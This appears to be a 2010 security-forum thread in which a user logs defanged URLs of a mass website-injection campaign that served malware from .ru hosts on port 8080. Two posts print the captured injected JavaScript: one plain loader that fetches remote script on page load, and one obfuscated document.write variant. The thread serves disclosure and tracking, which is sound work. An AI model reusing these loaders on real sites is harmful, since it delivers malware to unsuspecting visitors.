hxxp://linezing-com.thepiratebay.org.gazeta-pl.thechocolateweb.ru:8080/novinky.cz/novinky.cz/empflix.com/narod.ru/google.com/
hxxp://nowdownloadall-com.costco.com.travelocity-com.thelaceweb.ru:8080/aol.com/aol.com/pconline.com.cn/google.com/rian.ru/
hxxp://radikal-ru.nydailynews.com.tianya-cn.greatwebradio.ru:8080/break.com/break.com/google.com.ec/google.com/novoteka.ru/
hxxp://softlayer-com.capitalone.com.google-co-th.viewhomesale.ru:8080/conduit.com/conduit.com/passport.net/google.com/att.com/
hxxp://sponsorads-de.58.com.abc-go-com.thelaceweb.ru:8080/google.com/google.com/informer.com/fling.com/addictinggames.com/
hxxp://webs-com.gutefrage.net.bigpoint-com.worldwebworld.ru:8080/w3.org/w3.org/google.com/freewebs.com/priceminister.com/
hxxp://wer-kennt-wen-de.google.pt.match-com.worldwebworld.ru:8080/imeem.com/imeem.com/google.com/cam4.com/google.com.ua/
hxxp://woot-com.xbox.com.orkut-co-in.thechocolateweb.ru:8080/google.co.ma/google.co.ma/google.com/rapid4me.com/samsung.com/
hxxp://wrzuta-pl.y8.com.alot-com.worldwebworld.ru:8080/taobao.com/taobao.com/google.com/marktplaats.nl/ovguide.com/
hxxp://xcar-com-cn.37wan.com.58-com.webnetenglish.ru:8080/msn.ca/msn.ca/dailymotion.com/google.com/letitbit.net/
hxxp://2analytics.ws/in.cgi?8
hxxp://westnorths.cn/index.php?s=826f3bdce007009c5ceb6c26ccf638bc
hxxp://yeartiger.cn/index.php?s=826f3bdce007009c5ceb6c26ccf638bc

[michajp]

Code: [Select]

hxxp://blackberry-com.indianrail.gov.in.aufeminin-com.thechocolateweb.ru:8080/kakaku.com/kakaku.com/google.com/veoh.com/ucoz.ru/
hxxp://dell-com.xanga.com.bild-de.worldwebworld.ru:8080/yandex.ru/yandex.ru/youjizz.com/torrentdownloads.net/google.com/
hxxp://dict-cc.plentyoffish.com.way2sms-com.webdesktopnet.ru:8080/hao123.com/hao123.com/google.com/linksynergy.com/soso.com/
hxxp://elmundo-es.gazzetta.it.careerbuilder-com.funwebmail.ru:8080/google.com/google.com/streamate.com/tabelog.com/google.ae/
hxxp://empflix-com.nfl.com.filefactory-com.carswebnet.ru:8080/hudong.com/hudong.com/fishki.net/watch-movies-online.tv/google.com/
hxxp://engadget-com.adult-empire.com.chinaz-com.worldwebworld.ru:8080/ow.ly/ow.ly/amazon.cn/google.com/nih.gov/
hxxp://iciba-com.orbitz.com.mainichi-jp.worldwebworld.ru:8080/anjuke.com/anjuke.com/imagevenue.com/nypost.com/google.com/
hxxp://icio-us.google.ro.musica-com.thelaceweb.ru:8080/51job.com/51job.com/google.com/google.co.in/onemanga.com/
hxxp://mail-ru.gamefaqs.com.aweber-com.thechocolateweb.ru:8080/ebay.de/ebay.de/mozilla.com/bigpoint.com/google.com/
hxxp://mihanblog-com.google.ae.google-gr.thechocolateweb.ru:8080/gazeta.pl/gazeta.pl/google.com/51.com/linkhelper.cn/
hxxp://miniclip-com.t-mobile.com.yourfilehost-com.thechocolateweb.ru:8080/pornorama.com/pornorama.com/ziddu.com/google.com/hottiestar.com/
hxxp://mtv-com.citibank.com.gutefrage-net.webdesktopnet.ru:8080/google.com/google.com/docstoc.com/match.com/friendfeed.com/
hxxp://nikkei-co-jp.gamefaqs.com.clickbank-com.carswebnet.ru:8080/google.com/google.com/usatoday.com/google.com.do/exbii.com/
hxxp://overstock-com.gamefaqs.com.nu-nl.thechocolateweb.ru:8080/google.com/google.com/imeem.com/persianblog.ir/marketgid.com/
hxxp://pornbb-org.sourceforge.net.ime-nu.halfsite.ru:8080/break.com/break.com/google.com/laredoute.fr/cnzz.com/
hxxp://shinobi-jp.excite.co.jp.nfl-com.thelaceweb.ru:8080/google.com/google.com/people.com/netlog.com/spankwire.com/
hxxp://stc-com-sa.chip.de.badoo-com.viewhomesale.ru:8080/softpedia.com/softpedia.com/sueddeutsche.de/dell.com/google.com/
hxxp://yellowpages-com.ebay.co.uk.nicovideo-jp.thechocolateweb.ru:8080/bahn.de/bahn.de/google.com/focus.de/goal.com/


[michajp]

Code: [Select]

hxxp://adultadworld-com.jcpenney.com.renren-com.carswebnet.ru:8080/gamevance.com/gamevance.com/google.com/hurriyet.com.tr/chinaren.com/
hxxp://alibaba-com.zing.vn.ganji-com.sugaryhome.ru:8080/miibeian.gov.cn/miibeian.gov.cn/google.com/rakuten.co.jp/justin.tv/
hxxp://aol-co-uk.nowdownloadall.com.nikkeibp-co-jp.thelaceweb.ru:8080/bahn.de/bahn.de/addthis.com/google.com/monografias.com/
hxxp://ask-com.linkhelper.cn.way2sms-com.theatticsale.ru:8080/google.com/google.com/craigslist.org/megaporn.com/google.ae/
hxxp://blogcatalog-com.techcrunch.com.symantec-com.sugaryhome.ru:8080/huffingtonpost.com/huffingtonpost.com/archive.org/blackhatworld.com/google.com/
hxxp://china-com-cn.tomshardware.com.taringa-net.theatticsale.ru:8080/ggpht.com/ggpht.com/google.com/disney.go.com/hattrick.org/
hxxp://dmm-co-jp.focus.cn.google-co-jp.webdesktopnet.ru:8080/google.com/google.com/goal.com/dict.cc/gizmodo.com/
hxxp://evite-com.torrentreactor.net.google-com-ng.carswebnet.ru:8080/ezinearticles.com/ezinearticles.com/washingtonpost.com/google.com/rakuten.ne.jp/
hxxp://gc-ca.y8.com.imgur-com.worldwebworld.ru:8080/google.com/google.com/king.com/icbc.com.cn/debonairblog.com/
hxxp://gnavi-co-jp.ameblo.jp.exbii-com.thechocolateweb.ru:8080/google.com/google.com/yelp.com/uwants.com/onemanga.com/
hxxp://google-ae.lenta.ru.insightexpressai-com.burkewebservices.ru:8080/msn.com.cn/msn.com.cn/in.com/google.com/rambler.ru/
hxxp://heise-de.softpedia.com.slickdeals-net.thechocolateweb.ru:8080/orkut.co.in/orkut.co.in/virgilio.it/google.com/besttubeclips.com/
hxxp://hi5-com.so-net.ne.jp.verycd-com.webdesktopnet.ru:8080/google.com/google.com/ifolder.ru/chinanews.com.cn/tripadvisor.com/
hxxp://iciba-com.orbitz.com.mainichi-jp.worldwebworld.ru:8080/anjuke.com/anjuke.com/imagevenue.com/nypost.com/google.com/
hxxp://indianrail-gov-in.google.com.pandora-com.funwebmail.ru:8080/zedge.net/zedge.net/lockerz.com/qip.ru/google.com/
hxxp://juegos-com.mediaset.it.google-com-sg.usaworldwideweb.ru:8080/foxsports.com/foxsports.com/google.com/custhelp.com/google.com.au/
hxxp://lenta-ru.earthlink.net.surveymonkey-com.usaworldwideweb.ru:8080/mobile9.com/mobile9.com/tripadvisor.com/google.com/gmodules.com/
hxxp://linkwithin-com.amazonaws.com.cricinfo-com.worldwebworld.ru:8080/weather.com/weather.com/chinaren.com/slideshare.net/google.com/
hxxp://mail-com.360buy.com.google-co-uk.webdesktopnet.ru:8080/myfreepaysite.com/myfreepaysite.com/google.com/sweetim.com/xtendmedia.com/
hxxp://mail-ru.gamefaqs.com.aweber-com.thechocolateweb.ru:8080/ebay.de/ebay.de/mozilla.com/bigpoint.com/google.com/
hxxp://metroflog-com.so-net.ne.jp.disney-go-com.worldwebworld.ru:8080/google.com/google.com/secureserver.net/ip138.com/terra.com.br/
hxxp://mixx-com.ebay.co.uk.mybestyouxi-cn.funwebmail.ru:8080/google.co.ve/google.co.ve/google.com/heise.de/ipicture.ru/
hxxp://nowdownloadall-com.costco.com.travelocity-com.thelaceweb.ru:8080/aol.com/aol.com/pconline.com.cn/google.com/rian.ru/
hxxp://pconline-com-cn.sky.com.ign-com.thechocolateweb.ru:8080/keezmovies.com/keezmovies.com/google.com/gametrailers.com/mediaplex.com/
hxxp://qidian-com.rapid4me.com.gougou-com.thelaceweb.ru:8080/google.com/google.com/freshwap.net/zimbio.com/rottentomatoes.com/
hxxp://tmz-com.ibibo.com.amazon-fr.webdirectbroker.ru:8080/shopping.com/shopping.com/pixnet.net/sweetim.com/google.com/
hxxp://vkontakte-ru.people.com.novoteka-ru.thechocolateweb.ru:8080/cnzz.com/cnzz.com/moneycontrol.com/google.com/hao123.com/
hxxp://webmd-com.softlayer.com.harrenmedianetwork-com.carswebnet.ru:8080/google.com/google.com/craigslist.org/sky.com/bloomberg.com/
hxxp://who-is.yomiuri.co.jp.archive-org.thelaceweb.ru:8080/allyes.com/allyes.com/adultfriendfinder.com/liveinternet.ru/google.com/


[michajp]

Found in .br range so far (Wed Jan 20 15:46:07 UTC 2010):

Code: [Select]

hxxp://110mb-com.mashable.com.verizon-net.theprocast.ru:8080/beemp3.com/beemp3.com/google.com/rambler.ru/indiatimes.com/
hxxp://answers-com.abcnews.go.com.squidoo-com.thelaceweb.ru:8080/xbox.com/xbox.com/orf.at/rivals.com/google.com/
hxxp://dailymotion-com.sueddeutsche.de.sedoparking-com.mindgameworks.ru:8080/aol.com/aol.com/fotolog.net/google.com/zedo.com/
hxxp://empflix-com.baixing.com.126-com.ezpoh.ru:8080/hp.com/hp.com/huffingtonpost.com/proboards.com/google.com/
hxxp://heise-de.google.sk.babylon-com.yourmaxmedia.ru:8080/jeuxvideo.com/jeuxvideo.com/google.com/topshareware.com/uploaded.to/
hxxp://irctc-co-in.google.pl.zedge-net.theprocast.ru:8080/ebay.com.au/ebay.com.au/marktplaats.nl/google.com/studiverzeichnis.com/
hxxp://orf-at.rincondelvago.com.hulu-com.anycitytown.ru:8080/freelotto.com/freelotto.com/samsung.com/google.com/hdfcbank.com/
hxxp://pconline-com-cn.advertserve.com.slutload-com.forallpro.ru:8080/sourceforge.net/sourceforge.net/google.com/imeem.com/sedoparking.com/
hxxp://shinobi-jp.gmx.net.nikkeibp-co-jp.carswebnet.ru:8080/google.com/google.com/ibibo.com/linkhelper.cn/google.ch/
hxxp://sonico-com.att.com.alisoft-com.webdesktopnet.ru:8080/ip138.com/ip138.com/google.com/nikkansports.com/amazon.cn/
hxxp://tinyurl-com.tribalfusion.com.traidnt-net.ezpoh.ru:8080/adobe.com/adobe.com/masrawy.com/pchome.net/google.com/
hxxp://tv-com.iwiw.hu.hyves-nl.ezpoh.ru:8080/google.com/google.com/w3schools.com/adultadworld.com/symantec.com/


[michajp]

Found in .jp range, these must have been injected during the last 3 days (they weren't there at former check):

Code: [Select]

hxxp://alisoft-com.rapid4me.com.ppstream-com.superpropicks.ru:8080/google.com/google.com/feedburner.com/usps.com/dangdang.com/
hxxp://allegro-pl.ekolay.net.pchome-net.yourmaxmedia.ru:8080/google.com/google.com/t-online.de/dangdang.com/easy-share.com/
hxxp://cj-com.topix.com.sohu-com.greatcarscity.ru:8080/persianblog.ir/persianblog.ir/pichunter.com/google.com/google.co.za/
hxxp://discuz-net.webmd.com.eyny-com.yourmaxmedia.ru:8080/google.sk/google.sk/nifty.com/china.com.cn/google.com/
hxxp://docstoc-com.gamer.com.tw.moneycontrol-com.mindgameworks.ru:8080/topix.com/topix.com/google.com/ovguide.com/opendns.com/
hxxp://fifa-com.persianblog.ir.tube8-com.greatcarscity.ru:8080/cncmax.cn/cncmax.cn/taringa.net/google.com/way2sms.com/
hxxp://google-hr.vente-privee.com.yahoo-com-cn.mswebworld.ru:8080/google.com/google.com/elpais.com/focus.cn/google.cz/
hxxp://gougou-com.hc360.com.homeway-com-cn.flywebcam.ru:8080/orf.at/orf.at/google.com/google.co.jp/godaddy.com/
hxxp://overstock-com.csdn.net.statcounter-com.cybercityworld.ru:8080/liveinternet.ru/liveinternet.ru/echoroukonline.com/basecamphq.com/google.com/
hxxp://slickdeals-net.smh.com.au.expedia-com.beststyleweb.ru:8080/1und1.de/1und1.de/google.com/samsung.com/yellowpages.com/
hxxp://tiscali-it.37wan.com.redtube-com.greatcarscity.ru:8080/wer-kennt-wen.de/wer-kennt-wen.de/m-w.com/google.com/wellsfargo.com/
hxxp://torrentz-com.soso.com.petardas-com.easylifedirect.ru:8080/ngoisao.net/ngoisao.net/chinaz.com/ctrip.com/google.com/
hxxp://vagos-es.way2sms.com.mozilla-com.superhomeschool.ru:8080/cams.com/cams.com/google.be/pornhub.com/google.com/


[michajp]

Just captured a bunch of sites changing to new format - The :8080 URLs are contained in clear text, no more obfuscation:

Code: [Select]

<script> try{window.onload=function(){newEl = document.createElement('script');newEl.setAttribute('defer', '1');newEl.setAttribute('src', 'hxxp://squidoo-com.metrolyrics.com.xunlei-com.authentictype.ru:8080/archive.org/archive.org/adbrite.com/staples.com/google.com/');document.body.appendChild(newEl);} }  catch(Lb3ilsjx ) {/*handle exception*/}</script>
<!--cc2a66d7d37ead427bbc0256cfac4248-->

URLs:

Code: [Select]

hxxp://squidoo-com.metrolyrics.com.xunlei-com.authentictype.ru:8080/archive.org/archive.org/adbrite.com/staples.com/google.com/
hxxp://rapidshare-com.warez-bb.org.hatena-ne-jp.authentictype.ru:8080/china.com.cn/china.com.cn/buy.com/buzznet.com/google.com/
hxxp://adsrevenue-net.xbox.com.google-pl.authentictype.ru:8080/play.com/play.com/pixiv.net/libero.it/google.com/
hxxp://immobilienscout24-de.quikr.com.news-com-au.authentictype.ru:8080/shufuni.com/shufuni.com/ikea.com/google.com/fling.com/
hxxp://google-ie.liba.com.partypoker-com.authentictype.ru:8080/allocine.fr/allocine.fr/google.com/rmxads.com/mainichi.jp/
hxxp://xici-net.monografias.com.hatena-ne-jp.authentictype.ru:8080/redtube.com/redtube.com/google.com/google.com.ly/cj.com/
hxxp://timesonline-co-uk.daqi.com.flickr-com.authentictype.ru:8080/amazon.de/amazon.de/skycn.com/stern.de/google.com/
hxxp://robtex-com.ocn.ne.jp.gamezer-com.authentictype.ru:8080/myegy.com/myegy.com/google.com/t-online.de/sendspace.com/

[michajp]

Format changed again:

Code: [Select]

<script>/*Exception*/ document.write('<script src='+'h&&&$t@!)#t$)&p^^^@:^^/$&(/#^)s@$)p)@i!e!g))e@l&@)-&&&d#@e#$.$@$@a!m)e!r!!$i&#^c&(a!n$!)e@$#@x!(@p&&@r^e^s@))(s@!.@^!c^$&@o&!(m@$)#.@)#s^#^i^t)$^#e^#s^e)$l)#l(-@()c)(o@#)m&&$.^^&y)$o$!!)u!#$!r$)!t^(@r(#u#^e!g^&)a)m#@^e(&.@^$r$^u)!:&(8&!&^0&8(0^/@t^&)a@#$#r^()i$^)$@n@@(g@!(a!&$@.&#)n@!#e$$t$#&/^(@t^)a&$r#i!n$^#)g))^a)^&).)@n)(e^^$&&t@&/$^#)$w^&h@@)i@$t#(e(!##p(a^&^^g(&e()(s)(.^$$@c)#(&o@m$@)(/&#^#s^@#e!^d!o&p@&a^r)k#@!)i)n#!g@@.(^^c#(!o!!&@m#/)(!$g$(@o&@#o&&!g!^@@l@e#.@$c#@o@!m#((/)'.replace(/#|\!|\)|&|@|\$|\(|\^/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--ef635fcfcef053ffea00f7c372412909-->
Some URLs (more to come within next hour):

Code: [Select]

hxxp://51-la.basecamphq.com.metacafe-com.genuinehollywood.ru:8080/google.com/google.com/homeway.com.cn/flickr.com/gc.ca/
hxxp://ebay-com.19lou.com.opendns-com.genuinehollywood.ru:8080/ya.ru/ya.ru/rapidlibrary.com/google.com/urbandictionary.com/
hxxp://filehippo-com.citibank.com.argos-co-uk.authentictype.ru:8080/google.lk/google.lk/tube8.com/google.com/komli.com/
hxxp://kino-to.rapidlibrary.com.watch-movies-online-tv.yourtruegame.ru:8080/wrzuta.pl/wrzuta.pl/google.com/multiply.com/chip.de/
hxxp://metrolyrics-com.google.cn.babylon-com.cometruestar.ru:8080/google.com/google.com/rapidlibrary.com/yandex.ua/bbc.co.uk/
hxxp://nasza-klasa-pl.metrolyrics.com.myegy-com.genuinehollywood.ru:8080/nowdownloadall.com/nowdownloadall.com/google.com/ebay.it/meebo.com/
hxxp://pantip-com.winamp.com.youjizz-com.genuinehollywood.ru:8080/wired.com/wired.com/incredimail.com/ngoisao.net/google.com/
hxxp://picfoco-com.webshots.com.farmville-com.authentictype.ru:8080/qidian.com/qidian.com/google.com/pch.com/priceminister.com/
hxxp://sears-com.answers.com.barnesandnoble-com.genuinehollywood.ru:8080/apple.com/apple.com/google.com/advmaker.ru/skysports.com/
hxxp://slutload-com.google.com.ng.freewebs-com.cometruestar.ru:8080/alot.com/alot.com/google.com/sonico.com/web.de/
hxxp://spiegel-de.americanexpress.com.sitesell-com.yourtruegame.ru:8080/taringa.net/taringa.net/whitepages.com/sedoparking.com/google.com/
hxxp://teacup-com.cdiscount.com.wsj-com.supertruelife.ru:8080/cncmax.cn/cncmax.cn/google.com/vnexpress.net/sitemeter.com/
hxxp://univision-com.google.be.wikia-com.cometruestar.ru:8080/orange.fr/orange.fr/aebn.net/google.com/traidnt.net/
hxxp://yaplog-jp.repubblica.it.bizrate-com.authentictype.ru:8080/nikkeibp.co.jp/nikkeibp.co.jp/google.com/news3insider.com/songs.pk/
hxxp://yieldmanager-com.live.com.orkut-co-in.authentictype.ru:8080/icq.com/icq.com/google.com/cnn.com/squidoo.com/


[michajp]

Code: [Select]

hxxp://9wee-com.fastbrowsersearch.com.fotolog-net.cometruestar.ru:8080/tiscali.it/tiscali.it/google.com/mcssl.com/odesk.com/
hxxp://adbrite-com.pcworld.com.imdb-com.yourtruegame.ru:8080/szn.cz/szn.cz/imagevenue.com/scribd.com/google.com/
hxxp://adserverplus-com.tigerdirect.com.discuss-com-hk.genuinecolors.ru:8080/pcauto.com.cn/pcauto.com.cn/9wee.com/google.com/awempire.com/
hxxp://blogger-com.yahoo.com.163-com.genuinehollywood.ru:8080/yoka.com/yoka.com/aftonbladet.se/hatena.ne.jp/google.com/
hxxp://bramjnet-com.ow.ly.gmx-net.yourtruegame.ru:8080/google.com/google.com/sitesell.com/dreamstime.com/ups.com/
hxxp://buzznet-com.google.com.ua.sitemeter-com.supertruelife.ru:8080/webshots.com/webshots.com/myegy.com/google.com/softpedia.com/
hxxp://chip-de.mobile9.com.twitpic-com.yourtruegame.ru:8080/fotolog.net/fotolog.net/google.com/videosz.com/articlesbase.com/
hxxp://clarin-com.bild.de.lemonde-fr.cometruestar.ru:8080/daqi.com/daqi.com/google.com/rakuten.ne.jp/payserve.com/
hxxp://conduit-com.ups.com.friendster-com.cometruestar.ru:8080/sendspace.com/sendspace.com/rbc.ru/tinypic.com/google.com/
hxxp://cricinfo-com.google.de.webmasterworld-com.authentictype.ru:8080/isohunt.com/isohunt.com/watch-movies-online.tv/google.com/cnet.com/
hxxp://digg-com.answers.com.ggpht-com.cometruestar.ru:8080/lequipe.fr/lequipe.fr/google.com/keepvid.com/google.ch/
hxxp://doubleclick-com.brazzers.com.watch-movies-online-tv.cometruestar.ru:8080/msn.com.cn/msn.com.cn/17173.com/besttubeclips.com/google.com/
hxxp://evony-com.target.com.king-com.genuinehollywood.ru:8080/heise.de/heise.de/paipai.com/douban.com/google.com/
hxxp://forumcommunity-net.abril.com.br.sonico-com.genuinecolors.ru:8080/friendfeed.com/friendfeed.com/google.com.bd/google.com/kinopoisk.ru/
hxxp://gamefaqs-com.vk.com.stc-com-sa.cometruestar.ru:8080/58.com/58.com/google.com/nokia.com/elpais.com/
hxxp://gamezer-com.slickdeals.net.ddmap-com.cometruestar.ru:8080/cloob.com/cloob.com/virginmedia.com/rapidlibrary.com/google.com/
hxxp://gameztar-com.gougou.com.icio-us.cometruestar.ru:8080/amazon.cn/amazon.cn/aufeminin.com/godaddy.com/google.com/
hxxp://gittigidiyor-com.brothersoft.com.reference-com.cometruestar.ru:8080/indeed.com/indeed.com/hulu.com/google.com/dmm.co.jp/
hxxp://gmx-net.baixing.com.wordpress-com.authentictype.ru:8080/google.com/google.com/disney.go.com/google.com.sa/shinobi.jp/
hxxp://google-be.abc.go.com.perezhilton-com.authentictype.ru:8080/asg.to/asg.to/mediaset.it/sears.com/google.com/
hxxp://google-cz.sahibinden.com.ustream-tv.cometruestar.ru:8080/filefactory.com/filefactory.com/google.com/softpedia.com/clickbank.com/
hxxp://google-cz.tube8.com.xnxx-com.supertruelife.ru:8080/118114.cn/118114.cn/xe.com/google.com/smashingmagazine.com/
hxxp://google-fr.runescape.com.megavideo-com.yourtruegame.ru:8080/atdmt.com/atdmt.com/wellsfargo.com/google.com/wowhead.com/
hxxp://hotlinkimage-com.virginmedia.com.google-dk.cometruestar.ru:8080/gougou.com/gougou.com/accuweather.com/google.com/urbandictionary.com/
hxxp://icio-us.daum.net.ocn-ne-jp.cometruestar.ru:8080/advmaker.ru/advmaker.ru/google.com/seesaa.net/youku.com/
hxxp://icq-com.bangbros1.com.adsrevenue-net.genuinecolors.ru:8080/google.com/google.com/asg.to/cdiscount.com/ustream.tv/
hxxp://indeed-com.mercadolibre.com.ar.cnzz-com.authentictype.ru:8080/z5x.net/z5x.net/weather.com/doctissimo.fr/google.com/
hxxp://informer-com.sky.com.way2sms-com.cometruestar.ru:8080/realtor.com/realtor.com/leboncoin.fr/google.com/kinopoisk.ru/
hxxp://ipicture-ru.doctissimo.fr.pixiv-net.yourtruegame.ru:8080/google.com/google.com/pixnet.net/google.com.pk/mercadolivre.com.br/
hxxp://kohls-com.google.com.tr.amazon-co-uk.cometruestar.ru:8080/google.com.sg/google.com.sg/google.com/disney.go.com/mysql.com/
hxxp://ku6-com.torrents.ru.ibibo-com.genuinecolors.ru:8080/gamestop.com/gamestop.com/livescore.com/google.com/tu.tv/
hxxp://linezing-com.googleusercontent.com.travian-ae.cometruestar.ru:8080/linternaute.com/linternaute.com/360buy.com/google.com/pdfdatabase.com/
hxxp://love21cn-com.google.com.tw.ft-com.cometruestar.ru:8080/meetup.com/meetup.com/rediff.com/google.com/baidu.com/
hxxp://mercadolibre-com-mx.weebly.com.chip-de.authentictype.ru:8080/google.com/google.com/linkedin.com/blogcatalog.com/google.com.ly/
hxxp://microsoft-com.whitepages.com.isohunt-com.cometruestar.ru:8080/typepad.com/typepad.com/timesonline.co.uk/google.com/yahoo.com/
hxxp://novinky-cz.photobucket.com.hardsextube-com.genuinehollywood.ru:8080/google.com/google.com/sogou.com/tnaflix.com/wrzuta.pl/
hxxp://novinky-cz.vk.com.mop-com.authentictype.ru:8080/fandango.com/fandango.com/lenta.ru/google.com/nasa.gov/
hxxp://novoteka-ru.katz.cd.linezing-com.yourtruegame.ru:8080/fifa.com/fifa.com/att.net/nextag.com/google.com/
hxxp://onemanga-com.tripadvisor.com.google-com-sg.authentictype.ru:8080/collegehumor.com/collegehumor.com/chip.de/citibank.com/google.com/
hxxp://oricon-co-jp.twitpic.com.news3insider-com.cometruestar.ru:8080/google.com/google.com/mainichi.jp/aol.com/ekolay.net/
hxxp://oricon-co-jp.usps.com.fbcdn-net.cometruestar.ru:8080/vkontakte.ru/vkontakte.ru/iciba.com/stern.de/google.com/
hxxp://orkut-com-br.youporn.com.freelotto-com.yourtruegame.ru:8080/google.com/google.com/ku6.com/play.com/maktoob.com/
hxxp://paipai-com.mercadolibre.com.mx.taringa-net.genuinecolors.ru:8080/apple.com/apple.com/google.com/irctc.co.in/dangdang.com/
hxxp://priceminister-com.digitalpoint.com.zhaopin-com.cometruestar.ru:8080/nih.gov/nih.gov/hi5.com/advmaker.ru/google.com/
hxxp://renren-com.thesun.co.uk.jeuxvideo-com.cometruestar.ru:8080/google.com/google.com/hubpages.com/advertserve.com/sourceforge.net/
hxxp://rutube-ru.playstation.com.brothersoft-com.cometruestar.ru:8080/google.com/google.com/capitalone.com/hotlinkimage.com/keyrun.cn/
hxxp://sanspo-com.rambler.ru.asg-to.yourtruegame.ru:8080/wired.com/wired.com/hdfcbank.com/smh.com.au/google.com/
hxxp://sciencedirect-com.360buy.com.zaobao-com.cometruestar.ru:8080/google.com/google.com/gazzetta.it/livescore.com/fotolia.com/
hxxp://sears-com.mop.com.kaixin-com.genuinecolors.ru:8080/icio.us/icio.us/who.is/szn.cz/google.com/
hxxp://shoplocal-com.katz.cd.sonico-com.supertruelife.ru:8080/google.pt/google.pt/streamate.com/google.com/surfthechannel.com/
hxxp://skyrock-com.en.wordpress.com.myspace-com.cometruestar.ru:8080/mysql.com/mysql.com/gamespot.com/google.com/fedex.com/
hxxp://softlayer-com.travian.ae.surveymonkey-com.genuinecolors.ru:8080/google.co.ve/google.co.ve/google.com/allabout.co.jp/pornhub.com/
hxxp://sun-com.cloob.com.yesky-com.yourtruegame.ru:8080/netflix.com/netflix.com/google.com/google.cz/google.pl/
hxxp://tigerdirect-com.kicker.de.associatedcontent-com.cometruestar.ru:8080/information.com/information.com/google.com/ehow.com/seznam.cz/
hxxp://tradedoubler-com.cnzz.com.gameztar-com.yourtruegame.ru:8080/citibank.com/citibank.com/google.com/ifeng.com/yandex.ua/
hxxp://uploaded-to.wikipedia.org.angege-com.genuinecolors.ru:8080/careerbuilder.com/careerbuilder.com/bahn.de/google.com/37wan.com/
hxxp://uploading-com.schuelervz.net.elmundo-es.genuinehollywood.ru:8080/google.com/google.com/weebly.com/mediaplex.com/avaxhome.ws/
hxxp://veoh-com.tomshardware.com.smashingmagazine-com.cometruestar.ru:8080/google.com/google.com/bharatstudent.com/bebo.com/shaadi.com/
hxxp://verycd-com.techcrunch.com.ziddu-com.yourtruegame.ru:8080/aftonbladet.se/aftonbladet.se/rakuten.ne.jp/play.com/google.com/
hxxp://victoriassecret-com.businessweek.com.vagos-es.cometruestar.ru:8080/google.com/google.com/komli.com/heise.de/hostgator.com/
hxxp://wareseeker-com.freshwap.net.proboards-com.genuinehollywood.ru:8080/google.com/google.com/youjizz.com/pornhost.com/fifa.com/
hxxp://wowarmory-com.zanox-affiliate.de.corriere-it.genuinehollywood.ru:8080/last.fm/last.fm/google.com/cam4.com/110mb.com/
hxxp://xinhuanet-com.xing.com.typepad-com.cometruestar.ru:8080/hi5.com/hi5.com/google.com/stc.com.sa/stern.de/
hxxp://yahoo-com-cn.xbox.com.yoka-com.authentictype.ru:8080/google.com/google.com/nypost.com/vmn.net/xnxx.com/
hxxp://yimg-com.yelp.com.exbii-com.authentictype.ru:8080/jugem.jp/jugem.jp/google.be/uploading.com/google.com/
hxxp://youku-com.bebo.com.traidnt-net.genuinecolors.ru:8080/novinky.cz/novinky.cz/cdiscount.com/google.com/lenovo.com/
hxxp://zaobao-com.linkbucks.com.feedburner-com.cometruestar.ru:8080/google.com/google.com/friendfeed.com/r10.net/icicibank.com/


[michajp]

Code: [Select]

hxxp://advmaker-ru.adultadworld.com.friendster-com.cobalttrueblue.ru:8080/yelp.com/yelp.com/wiktionary.org/google.com/uol.com.br/
hxxp://alisoft-com.gazzetta.it.welt-de.cobalttrueblue.ru:8080/google.com/google.com/charter.net/360buy.com/besttubeclips.com/
hxxp://anonym-to.optmd.com.eorezo-com.yourtruemate.ru:8080/nfl.com/nfl.com/elmundo.es/google.com/iciba.com/
hxxp://brazzers-com.tweetmeme.com.it168-com.cobalttrueblue.ru:8080/mpnrs.com/mpnrs.com/google.lk/google.com/suite101.com/
hxxp://cricinfo-com.uimserv.net.songs-pk.yourauthentic.ru:8080/google.com/google.com/bu520.com/girlsgogames.com/google.se/
hxxp://ebay-com-au.engadget.com.dantri-com-vn.thetruehelp.ru:8080/pplive.com/pplive.com/google.com/fotolog.net/wwe.com/
hxxp://elance-com.oyunlar1.com.ppstream-com.genuinecolors.ru:8080/google.com/google.com/symantec.com/bloomberg.com/bluehost.com/
hxxp://google-co-id.freeones.com.conduit-com.yourauthentic.ru:8080/rivals.com/rivals.com/google.it/google.hr/google.com/
hxxp://homedepot-com.lemonde.fr.filestube-com.cobalttrueblue.ru:8080/reuters.com/reuters.com/cnblogs.com/google.com/ikea.com/
hxxp://icbc-com-cn.match.com.sears-com.supertruelife.ru:8080/liveinternet.ru/liveinternet.ru/ebay.fr/insightexpressai.com/google.com/
hxxp://im286-com.google.com.sa.multiupload-com.supertruelife.ru:8080/gamestop.com/gamestop.com/xbox.com/cricinfo.com/google.com/
hxxp://mashable-com.over-blog.com.digg-com.genuinecolors.ru:8080/csdn.net/csdn.net/mtv.com/google.com/adobe.com/
hxxp://me-com.kaskus.us.ip138-com.yourauthentic.ru:8080/mobile9.com/mobile9.com/google.com/insightexpressai.com/babylon.com/
hxxp://mediafire-com.joomla.org.bluehost-com.yourtruegame.ru:8080/travian.ae/travian.ae/samsung.com/anonym.to/google.com/
hxxp://mininova-org.37wan.com.met-art-com.cobalttrueblue.ru:8080/google.com/google.com/miibeian.gov.cn/dmm.co.jp/verycd.com/
hxxp://multiupload-com.alot.com.360-cn.thetruehelp.ru:8080/nba.com/nba.com/ign.com/google.it/google.com/
hxxp://nba-com.bing.com.google-fi.yourauthentic.ru:8080/17173.com/17173.com/deezer.com/acer.com/google.com/
hxxp://novoteka-ru.pandora.com.baidu-com.cobalttrueblue.ru:8080/latimes.com/latimes.com/foxnews.com/marketgid.com/google.com/
hxxp://priceline-com.wer-kennt-wen.de.megavideo-com.genuinehollywood.ru:8080/google.com/google.com/ebay.com.au/weather.com.cn/reference.com/
hxxp://proboards-com.tabelog.com.bizrate-com.cobalttrueblue.ru:8080/google.com.ly/google.com.ly/wikipedia.org/google.com/univision.com/
hxxp://sanspo-com.ppstream.com.gamer-com-tw.yourauthentic.ru:8080/google.com/google.com/163.com/amazon.co.jp/reverso.net/
hxxp://seriesyonkis-com.kohls.com.traidnt-net.yourtruemate.ru:8080/google.com/google.com/suite101.com/stumbleupon.com/wsj.com/
hxxp://shopping-com.marketgid.com.yourfilehost-com.yourtruemate.ru:8080/sfgate.com/sfgate.com/google.com/leo.org/constantcontact.com/
hxxp://skype-com.tattoodle.com.yallakora-com.thetruehelp.ru:8080/lifehacker.com/lifehacker.com/uwants.com/google.com/earthlink.net/
hxxp://speedtest-net.onet.pl.google-co-ma.yourtruemate.ru:8080/samsung.com/samsung.com/google.com/files.wordpress.com/wikihow.com/
